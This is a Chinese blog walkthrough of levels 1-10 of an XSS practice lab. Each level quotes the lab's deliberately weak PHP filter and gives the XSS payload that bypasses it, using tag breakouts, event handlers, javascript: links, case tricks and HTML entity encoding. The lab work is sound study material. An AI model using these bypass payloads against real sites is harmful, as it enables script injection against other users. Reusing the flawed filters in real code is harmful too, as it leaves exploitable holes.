xsschallenge通关(1-10)

level1

这一关很简单,标准的xss注入,打开hackbar,输入

<script>alert(/xss/)</script>

点击EXECUTE,通关!

level 2

这一关有一个搜索框,输入

<script>alert(/xss/)</script>

发现直接将这段JS代码当做HTML实体,即普通字符

查看源代码,发现有htmlspecialchars() 函数,会转换双引号、单引号和尖角号成HTML实体,并发现在输出中Value的形式是双引号闭合后接尖角号:

这时候要尝试将该语句提前闭合,才能执行我们的弹窗命令,输入:

"> <script>alert(/xss/)</script>

在源代码中相当于:

<input name=keyword  value="' "> <script>alert(/xss/)</script>'">

在搜索框中输入该JS语句,通关成功:

level 3

和第二关类似,进行代码审计:

<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword  value='".htmlspecialchars($str)."'><input type=submit name=submit value=搜索 /></form></center>";?>

代码中用单引号闭合,用onmousemove 事件(onmousemove 事件当指针在元素上移动时发生 。)进行xss注入,在搜索框中输入下面语句:

'onmouseover='alert(/xss/)

移动鼠标后通关:

level 4

进行代码审计:

<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

发现这段代码将尖角号替换成空,value用双引号闭合,只要将第三关的代码单引号改成双引号,就能注入成功

"onmouseover="alert(/xss/)

通关成功:

level 5

进行代码审计:

<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>

发现这段代码将<script、on进行过滤替换,并且用htmlspecialchars()函数将单双引号<,>转换成HTML实体,输出用双引号闭合,而且有strtolower大小写转换,因此可以考虑JavaScript伪标签与a标签一起使用,并用第二关的方法让标签提前关闭,就能通过此关。

输入代码:

"> <a href=javascript:alert(/xss/) > 点击我</a> //

出现一个伪链接:

点击后通关成功:

level 6

进行代码审计:

<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>

发现第六关将<script、on、src、data、href等关键词都进行了过滤替换,并用htmlspecialchars函数将特殊字符进行了一次转换,但没有过滤大小写,将第五关的代码修改后写入:

"> <a hRef=javascript:alert(/xss/) > 点击我</a> //

或者也可以用下面代码,只需要大小写绕过即可:

"Onmouseover="alert(/xss/)
 "> <Script>alert(/xss/)</script>

出现了一个伪链接:

点击后通关:

level 7

进行代码审计:

<?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>

发现这一关不觉得,不仅将关键词全部过滤,还自带大写转小写,那这怎么做呢?只要在代码中多加几个字母,让它把多余的字母替换成空格,就变成我们想要的了:

"> <sscriptcript>alert(/xss/)</sscriptcript>

"oonnmouseover='alert(/xss/)'

输入到搜索框后通过成功:

level 8

进行代码审计:

<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level8.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?>

这一关不仅做了大小写转换、关键词过滤甚至双引号的过滤,下面有一个名叫友情链接的超链接,前面的操作都不能用了,但是没关系,可以将部分代码变成HTML的转义序列

javascript:alert(/xss/)

转码成&#x加16进制数字的方式书写(HTML的转义序列),也可以被HTML识别:

java&#x73;cript:alert(/xss/)

输入搜索框后点击添加友情链接:

点击下面的友情链接后通过成功:

level9

进行代码审计:

<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level9.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';        }else{  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center>

跟第八关非常相似,只不过多了一个判断链接是否合法的if语句,要求合法的链接必须有http://,只需要在第八关的代码基础上加上http://即可,由于http://中有了/,所以把xss的/改成单引号

java&#x73;cript:alert('xsshttp://')

通关成功:

level 10

进行代码审计:

?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.$str33.'" type="hidden"></form></center>';?>

发现源码中有个参数t_sort,只做><号的转换和过滤,然后输出值在value中,我们可以先将它闭合,然后用type=“text”将前面的字段类型设为文本,再用一个onmouseover事件:

&t_sort=" type="text" onmouseover="alert(/xss/)

执行后源码的t_sort段会变成这样:

移动鼠标后过关成功:


©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • level 1 一开始界面上什么都没有,一般是从url上想办法顺便查一下php代码, window.alert ...
    沙雕带你蒿羊毛阅读 8,029评论 0 4
  • 这是个笔记,没自己试过,就是涨姿势的。很好的资料:随笔分类 - sqli-labs通关详解[%5Bhttps://...
    yumiii_阅读 2,778评论 2 10
  • 好久没更新harrynull了,我更到哪一关来着?翻了翻之后,我发现才到18关,那今天就开始更新19关吧。 第十九...
    hsvshqjbnamlalm阅读 959评论 0 0
  • 0x01 简介 XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江...
    Asson阅读 2,469评论 0 2
  • 前言: 此文用于记录学习SQL注入过程中的所得所思,因为可以说是菜鸟了,需要参考大佬的解题方法,所以一切慢慢来吧,...
    煊奕阅读 15,470评论 3 9

友情链接更多精彩内容